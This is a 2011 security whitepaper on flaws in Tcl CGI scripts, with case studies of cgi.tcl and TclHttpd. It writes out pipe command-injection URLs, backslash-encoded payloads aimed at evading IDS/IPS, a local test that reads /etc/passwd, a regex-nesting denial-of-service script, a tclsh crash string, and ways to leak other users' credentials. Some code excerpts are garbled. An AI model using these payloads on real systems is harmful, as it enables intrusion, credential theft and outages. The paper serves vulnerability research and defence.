Tickling CGI Problems

A whitepaper by Derek Callaway
with research assistance from Shane Macaulay

http://www.security-objectives.com

March 3, 2011

1 Introduction

The Tool Command Language (abbreviated Tcl and affectionately referred to as "tickle") is a multi-paradigm scripting language that first appeared in the late 1980's. Tcl/Tk is based on a BSD-style open source license and many know Tcl itself as the scripting language of the `eggdrop` IRC bot.[1] Others may unknowingly have limited exposure to Tcl through its `expect` extension.[2] On UNIX systems, it has an interactive command shell, `tclsh` with a closely-related counterpart `wish` which is more intricately involved with Tcl's GUI counterpart, Tk. Both expect and Tk have foreign function interfaces enabling integration with a comprehensive collection of independent programming languages. Morever, the ActiveState software company supports Tcl and maintains the ActiveTcl distribution. [3]

Although this paper will be focusing on the security of Tcl CGI scripts, the concept of a CGI script in and of itself is so generalized that just about any programming language can be used to interact with data submitted via the web. CGI is an acronym for Common Gateway Interface. One of the most important CGI environment variables from an attacker's perspective is QUERY_STRING because it contains values corresponding to potentially malicious user input received through GET strings. At the time of writing, the latest CGI RFC number is 3875; more formal documentation is hosted by the University of Illinois National Center for Supercomputing Applications.[4]

[1] http://www.eggheads.org
[2] http://expect.nist.gov
[3] http://www.activestate.com
[4] http://hoohoo.ncsa.illinois.edu/cgi/

Contents

1.1 History

The now defunct NCSA HTTPd project implemented one of the first CGI implementations in the early 90's–this was only several years after the creation of what many call the first ever web server at the Center for European Nuclear Research. The folks at CERN and NCSA were much more than academicians. They were also techno-social visionaries in the sense that they realized the success of the web was directly related to user input, a principle that still holds true today with social networking and other so-called "Web 2.0" applications as living proof.

Like many legends of computer science, Tcl was born in the University of California at Berkeley. Shortly after Tcl came into existence, a complimentary GUI library/toolkit named Tk that is based on Tcl was developed. These two sibling software projects have been inextricably linked ever since. Upon the passing of the new millenium, there was some very positive raving over Tcl within socioeconomic circles dedicated to Internet programming.

For instance, the Apache Software Foundation voted on and passed a parliamentary motion to create the Apache Tcl project in July of 2000. Another mid-2000 example was an article published on the web site of Dr. Dobb's magazine entitled "Tcl-URL!" [5] Later, in 2003, the Linux Documentation Project published a VB6

[5] http://www.ddj.com/architect/184403992

To Tcl mini-HOWTO.[6]

As a matter of opinion, those actions may have grown forth from the ecstasy of the great "dot-com" financial bubble. As time unfolded, it became obvious such advocating really lacked vision. For what it's worth, it was comparable to contemporary programming language proselytization such as the Ruby on Rails movement. In hindsight, a significant investment in Tcl infrastructure became somewhat neglected as the years progressed.

1.2 Intention

Tcl is like many scripting languages–insofar as when it is combined with CGI (Common Gateway Interface,) it tends to exhibit some rather critical security issues as unintended side effects of dynamic web page generation processes. This whitepaper describes some important findings made by vulnerability researchers at Security Objectives Corporation. The first half of the paper will provide an overall synopsis of sensitive language features; the later half will present in detail several practical examples as case studies of the `cgi.tcl` and `tclhttpd` software packages. Its primary aim is to open up discourse as a seminal paper on the subject of Tcl CGI security and was inspired by Rain Forest Puppy's "Perl CGI Problems" article in the 55th issue of the Phrack 'zine. Henceforth, the reader is expected to have some digital security and computer programming experience.

1.3 Identifying TCL on the WWW

Most scripting languages can be identified on the web simply by looking at an URL's file extension. Although it's not unheard of for a Tcl CGI script's URL to end with `.tcl`, it's much more common for it to take on the `.cgi` suffix. Generally speaking, application layer fingerprinting will be necessary as a result of the ambiguous filename appendages. Occassionally, the `Server:` field in an HTTP response header will advertise Tcl's presence; Apache's mod_tcl module is a good example of that. Another giveaway is easily identified Tcl error messages shown when invalid input is provided via URL parameters.

2 Key Vulnerabilities

2.1 That Pesky Pipe

The open command in Tcl implements a variety of I/O redirection options similar to a UNIX shell interpreter. In particular, prepending the vertical bar or pipe symbol to a pathname will cause the file that is referenced by that path to be executed and its standard output stream to be redirected to the Tcl file descriptor that the open command returns. Thus, allowing remote command execution with viewable results:

[6] http://www.faqs.org/docs/Linux-mini/VB6-to-Tcl.html

```
http://host.dom/cgi-bin/scr.cgi?file=|id

uid=500(www) gid=100(www)
```

This is remniscient of a common Perl CGI vulnerability documented by Rain Forrest Puppy in his Phrack magazine article. However, there are some distinct differences between the behavior of the two languages in this respect. Note that in Tcl syntax the pipe symbol is prepended to the filename and in Perl it appears as an appendage. Furthermore, Perl creates a child process such that piped commands are interpreted by the operating system's default shell; this allows multiple commands to be strung together that exchange data in sequential fashion. In essence, Perl is calling the standard C runtime library function system() and passing the command string to /bin/sh -c. This can be verified by opening a pipe to a command that reports a snapshot of the current processes:

```
% perl -wle 'open(F, "echo | ps x|") and print <F>'
  PID TTY      STAT   TIME COMMAND
 5601 pts/3    Ss     0:00 -bash
 5819 pts/3    S+     0:00 perl -wle open(F, "echo | ps x|") and print <F>
 5820 pts/3    S+     0:00 sh -c echo | ps x
 5822 pts/3    R+     0:00 ps x
```

This is unlike Tcl which is simply passing the command as an argument to a variant of the exec() system call. Therefore, this technique of injecting multiple commands via first-in-first-out pipes cannot be utilized with Tcl. For the sake of completeness, this behavior was tested and verified by a Tcl interpreter as well.

```
% read [ open "echo|ps|" r ]
couldn't open "echo|ps|": no such file or directory
% read [ open "|ps x" r ]
  PID TTY      STAT   TIME COMMAND
 5601 pts/3    Ss     0:00 -bash
 5844 pts/3    S+     0:00 tclsh
 5845 pts/3    R+     0:00 ps x
```

2.2 The Case of the Missing Forward Slash...

Now that remote command execution has been established, it would be useful to browse around the filesystem a bit. A decent TCL programmer isn't going to allow such a luxury. According to the manual page for the Tcl command `file`:

```
   file tail name
Returns all of the characters in name after the last directory separator.
If name contains no separators then returns name
```

Tcl's `file tail` feature is reminiscent of the POSIX-confirming `basename()` C library function. It is available on a variety of UNIX(-like) operating systems including Linux, Solaris, MacOSX, and the open-source BSD's. `basename` is also included as a common-line utility in the GNU and BSD coreutils packages[7] and implemented in a Perl module. The `_splitpath()` function included in the Microsoft Visual C++ Runtime has an identical purpose.

```
% whatis basename
basename(1), dirname(1)  - return filename or directory portion of pathname
basename(3)              - extract the base portion of a pathname
gbasename(1), basename(1) - strip directory and suffix from filenames
File::Basename(3)        - Parse file paths into directory, filename and suffi
```

Purposely introducing a pathname argument to a command executed via the pesky pipe may not proceed as one might expect. To get a better idea of what exactly is going on between the web browser and the Tcl interpreter, take some time to review the step-by-step analysis below. Getting familiarized with the data flow and parsing process details will facilitate comprehension of the `file tail` subversion techniques presented in the adjoining subsection.

```
http://host.dom/cgi-bin/scr.cgi?file=|ls+/etc
```

First, the web server decodes the URI query string by replacing the plus sign with a literal ASCII space which just as easily could have been represented by the "URL-encoded" hexadecimal byte string `%20`. Second, Tcl evaluates the query, and the string "`|ls /etc`" gets stripped down to `etc`. Next, the Tcl interpreter attempts to open `./etc` in read-only mode (instead of trying to execute it since the pipe symbol was filtered out of the query string). Finally, if no file named `etc` exists in the web server's current working directory, e.g. `/usr/local/apache/htdocs`, then the `open` command fails and will probably return an error message saying so to the web client that made such an absurd request.

2.2.1 (Back)slash and Burn

Incidentally, this restriction can be bypassed with a bit of time and effort by taking advantage of Tcl's backslash substitution feature. Like many programming languages, Tcl evaluates backslash escape sequences similar to C-style strings. By feeding Tcl 8-bit hexadecimal encoded byte values, forward slashes can be successfully injected into a command pipe without being filtered by the file tail command:

```
http://host.dom/cgi-bin/scr.cgi?file=|ls+\x2f\x65\x74\x63
```

[7] http://www.gnu.org/software/coreutils

Under any circumstances, a caveat should be given to the attacker who constructs a payload which contains hex-encoded byte values; it will be structurally similar to shellcode used in the exploitation of memory corruption bugs and is likely to trigger an IDS/IPS (Intrusion Detection/Prevention System) alert. Hence, encoding strings in such a manner sould be performed with caution. Fortunately, Tcl is not very strict in its parsing of backslash escapes. The injection of many alternative but equivalent escape sequences that do not resemble shellcode, yet achieve the same effect as typical hexadecimal encoding is permitted. In other words, the ability to utilize codes which aren't prepended with the string `\x` may facilitate IDS/IPS evasion. For instance, the octal-encoded/obfuscated requests below are functionally identical to the one that uses straightforward hexadecimal encoding above:

```
http://host.dom/cgi-bin/scr.cgi?file=|ls+\057\145\164\143

http://host.dom/cgi-bin/scr.cgi?file=|ls+\057\xdC65\164\x133763
```

Tcl also provides backslash substitution for Unicode characters; refer to the backslash substitution section of the Tcl manual page for more information. A polymorphic backslash substitution string generator would be extremely effective for intrusion detection/prevention system evasion in this case. The following is an excerpt from the `Tcl(n)` manual page explaining how the interpreter allows obfuscated backslash escapes to function:

```
\ooo
The digits ooo (one, two, or three of them) give an eight-bit octal value
for the Unicode character that will be inserted. The upper bits of the
Unicode character will be 0.

\xhh
The hexadecimal digits hh give an eight-bit hexadecimal value for the
Unicode character that will be inserted. Any number of hexadecimal digits
may be present; however, all but the last two are ignored (the result is
always a one-byte quantity). The upper bits of the Unicode character will
be 0.

\uhhhh
The hexadecimal digits hhhh (one, two, three, or four of them) give a
sixteen-bit hexadecimal value for the Unicode character that will be
inserted.
```

Aside from the backslash, another character is remarkably useful for obscuring attack signatures and sidestepping input sanitization filters; the octothorpe, also known as the pound sign or hash symbol: `#`. Many scripting languages use it for

commenting individual lines of code and so does Tcl. However, Tcl requires that it be the first character at the beginning of the line or separated from adjacent statements by a semi-colon. The awkward parsing makes it useful to intersperse hash symbols throughout injected payloads. This concept may need to be combined with the aforementioned backslash methods since the pound sign also functions as a URI anchor.

2.2.2 The Pre-Test

One advantage to exploiting vulnerabilities in open-source software is being afforded the opportunity to construct an attack string locally first. Sending test requests to the target's web server straight away could flood server logs with erroneous events or cause a WAF (Web Application Firewall) alert. The typescript below demonstrates how to locally test cgi.tcl for the combined pipe/backslash attack explained so far.

```
% pwd
/home/decal/tcl/cgi.tcl-1.10
% cat test.tcl
#!/usr/bin/tclsh
source cgi.tcl
puts [read [open [file tail [string trimleft [cgi_unquote_input\
cat+\u2f\u65\u74\u63\u2f\u70\u61\u73\u73\u77\u64] ~]] r]]
% ./test.tcl | head -3
     1  root:x:0:0:root:/root:/bin/bash
     2  bin:x:1:1:bin:/bin:/sbin/nologin
     3  daemon:x:2:2:daemon:/sbin:/sbin/nologin
```

`cgi_unquote_input` is a procedure defined within cgi.tcl. `string trimleft` removes tilde characters from the left side of the input string in an attempt to prevent directory traversals into home directories. As mentioned before, `file tail` is similar to `basename()`. `open`, `read`, and `puts` should be self-explanatory. The Unicode escapes, when converted to ASCII, read as `/etc/passwd`. Hence, this particular test executes the command `cat /etc/passwd`.

2.3 Denial of Service

Tcl's regular expression parser imposes no limit on nested subexpressions. This makes it quite trivial to exhaust system resources by presenting the interpreter with deeply nested subexpressions. The Perl script shown below creates a subexpression that is nested 2K levels deep. It was tested on a Cell Broadband Architecture Engine machine with an SMP Linux kernel. It immediately consumed 100% of the system's CPU cycles and steadily increased allocated memory on a linear timescale.

```
#!/bin/bash
for i in ‘perl -wle ’for(1..32)print"$_ "’‘
  do (perl -we "print’set s astr;regexp ¨’;print’(’x2048;\
    print’.*’;print’)’x2048;print’¨ $s match’"|tclsh&) 2>/dev/null 2>&1
done
```

As the `for` loop started multiple instances of the script in parallel, the system load average increased dramatically. This is effectively identical to a fork bomb and *will* bring a box to its knees. CGI scripts that accept regular expressions as input (e.g. search engines) are therefore exposed to a trivial service denial technique that requires less resources overall than a traditional distributed denial of service (DDoS) attack. In addition, a statement like the following will either cause `tclsh` to core dump or continuously leak memory, waste CPU, etc.

```
% echo [format ’%9999999.999999999991f’ -1111111111111]
```

3 Case Studies

The following two case studies discuss real vulnerabilities in real Tcl software. For more information about these and other vulnerabilities, refer to the official distribution point for security advisories at the Security Objectives Corporation web site.[8]

3.1 cgi.tcl

The cgi.tcl home page at the National Institute of Standards and Technology bills cgi.tcl as ”the CGI support library for Tcl programmers.” [9] At the time of writing, the latest version is 1.10. The installation tarball for cgi.tcl includes a set of example scripts that demonstrate various Tcl CGI capabilities. One script in particular, `examples.tcl/display.cgi` parses input from a `QUERY_STRING` variable called `scriptname` that is vulnerable to the command piping and backslash escape attacks outlined above. Indeed, it is a classic example of the combination of those two attacks against other Tcl CGI scripts.

3.2 TclHttpd

TclHttpd, or Tcl Web Server ”is a pure-Tcl implementation of an HTTP protocol server” and is distributed by ActiveState Software at the Tcl Developer Xchange web site. [10] Some related vulnerability research was released earlier by H. D. Moore

[8] http://www.security-objectives.com
[9] http://expect.nist.gov/cgi.tcl/
[10] http://www.tcl.tk/software/tclhttpd/

for Lyris List Manager in CVE-2005-4146 and CVE-2005-4147. [11] (Lyris List Manager is the brand-name for a piece of commercial mailing list software that runs on TclHttpd.) Overall, TclHttpd was found to be vulnerable to the same types of weaknesses that are commonplace in other front-end web servers. However, there were some peculiar insecurities as well, but none that could be directly attributed to the Tcl language itself.

3.3 View Source

As pointed out by H.D. Moore in CVE-2005-4147, the source of Tcl template (.tml) files can be viewed by appending a null byte to the URL. Tcl templates, or .tml files are essentially HTML files that have Tcl statements embedded within them. Although Lyris List Manager implemented a remedy for the source viewing in 2005, TclHttpd itself continued to be vulnerable in the years following since appending a forward slash to the end of a .tml file URL achieved the same result.

3.4 User Leakage

Anyone that requests a web server resource via the GET method without the traditional forward slash at the beginning of the pathname can expect some sort of error message in the server response. However, being shown the CGI environment variable values for the *previous* request as part of that error message would be quite a surprise, or any environment variable values at all for that matter. Yet, this is precisely what happens with TclHttpd. It may seem strange, but it makes sense because the old CGI values continue to be used by the server since the current request entered an error condition before its own CGI values could be determined. Exploitation is easier when directly connected to TclHttpd's TCP port since browser address bars expect URI's to be a singular unit; the gist is to send a request that resembles `GET no/slash HTTP/1.1` (also, see section 3.2.2 of RFC2616.)

If the previous request was from a different user, you're given total access to their Base64-encoded HTTP_AUTHORIZATION string that authenticated them with whatever page they happen to be viewing (SCRIPT_NAME). Their numeric IP address will be shown in REMOTE_ADDR and other environment variables specific to the TclHttpd process such as PATH are also disclosed. This behavior can be especially dangerous when the server is receiving numerous requests from many different clients. In this scenario, an attacker has the opportunity to harvest a substantial amount of information about both web clients and the server itself in a short timespan.

[11] http://www.metasploit.com/research/vulnerabilities/lyris_listmanager/

3.5 Bypassing Authentication

The two primary authentication mechanisms used by TclHttpd are Apache-style .htaccess files and .tclaccess files which are functionally similar to .htaccess and .htpasswd. .tclaccess files are less efficient because they are composed of Tcl statements which must be continuously re-evaluated. The advantage of .tclaccess is being able to write a fully customized authentication routine for any web-accessible directory. One of the .tclaccess examples included with the TclHttpd distribution demonstrates how a hard-coded passphrase can be used:

```
#
# MyPasswordChecker
#
#       This is called to verify the username and password
#
# Arguments:
#
#       sock    Handle on the client connection
#       realm   Should be the realm we define above
#       user    The user name
#       pass    The password
#
# Results:
#
#       1       if access is allowed
#       0       if access is denied

proc MyPasswordChecker sock realm user pass
    # file but instead have it in the script library.
    # Of course, you'll probably wan't something more sophisticated
    if [string compare $user tclhttpd] == 0 &&n in the .tclaccess
            [string compare $pass "I love Tcl"] == 0
        return 1
    else ...
```

3.6 Weak Encryption

The problem with weak encryption as it exists in the .htaccess as implemented by Apache remains. In light of recent events, it is now well-known that MD5 is only marginally more resistant to attack than (single) DES.[12]Although Apache 2 officially moved to the MD5 message digest algorithm for encrypting passphrases in .htpasswd, TclHttpd still encrypts passwords with the original 56-bit DES block

[12]http://www.phreedom.org/research/rogue-ca/

cipher by default. TclHttpd is distributed with tclcrypt.tcl, a Tcl-specific implementation of the legacy Unix `crypt(3)` library function.

4 Future Research

This paper has focused on securing Tcl web servers, applications, and CGI scripts. Going forward, there is a high likelyhood of further Tcl-specific security issues being exposed, especially in proprietary products that are specially designed for extensibility in order to target niche markets. Many alternative execution environments have been cropping up and one example is partcl, an implementation of Tcl on the Parrot VM. Many standalone software tools, utilities, and entire desktop application suites rely on Tcl in one way or another. Perhaps the most intersting mechanism to hackers is the `load` command which imports shared object code into the virtual address space of a process. Source code and binaries distributed by various package management systems have deep dependencies upon Tcl, Tk, expect, etc.

5 Conclusion

One should immedately be wary when any program processes user input that arrives from execution contexts with restricted access rights; the assumption should be that the input is malicious until proven benign. As the usage of a system increases, so too does the likelyhood of unintended execution flow, especially in networked applications such as CGI scripts on the WWW. If there are inconsistencies related to how input *or* output data is filtered, then problems are bound to arise whether they be consequences of intentional *or* unintended actions.

Under ideal circumstances, a secure web application deployment isolates the web server execution environment by applying the principle of least privilege during installation. In particular, the thread responsible for handling incoming HTTP requests should have limited access to system resources. Under ideal circumstances, a standalone WAF will filter malicious user input before it reaches a CGI script. However, this publication is not for the purpose of enumerating industry best practices in web server setup or secure development lifecycle.

This whitepaper has demonstrated that the Tcl scripting language requires special attention when writing code that interacts with the HTTP protocol. Safe-Tcl is a feature which enables the creation of a "safe" or restricted interpreter by specifying desired security policies to a master interpreter instance; this is recommended. However, it should not be used as a fig leaf to disguise the vulnerability of weaker components in a system's architecture. A defense-in-depth strategy should be utilized such that a single mechanism is never relied upon alone for the security of the entire system. Those who are tasked with writing secure programming language interpreters as well as Internet application service daemons should expect the unexpected!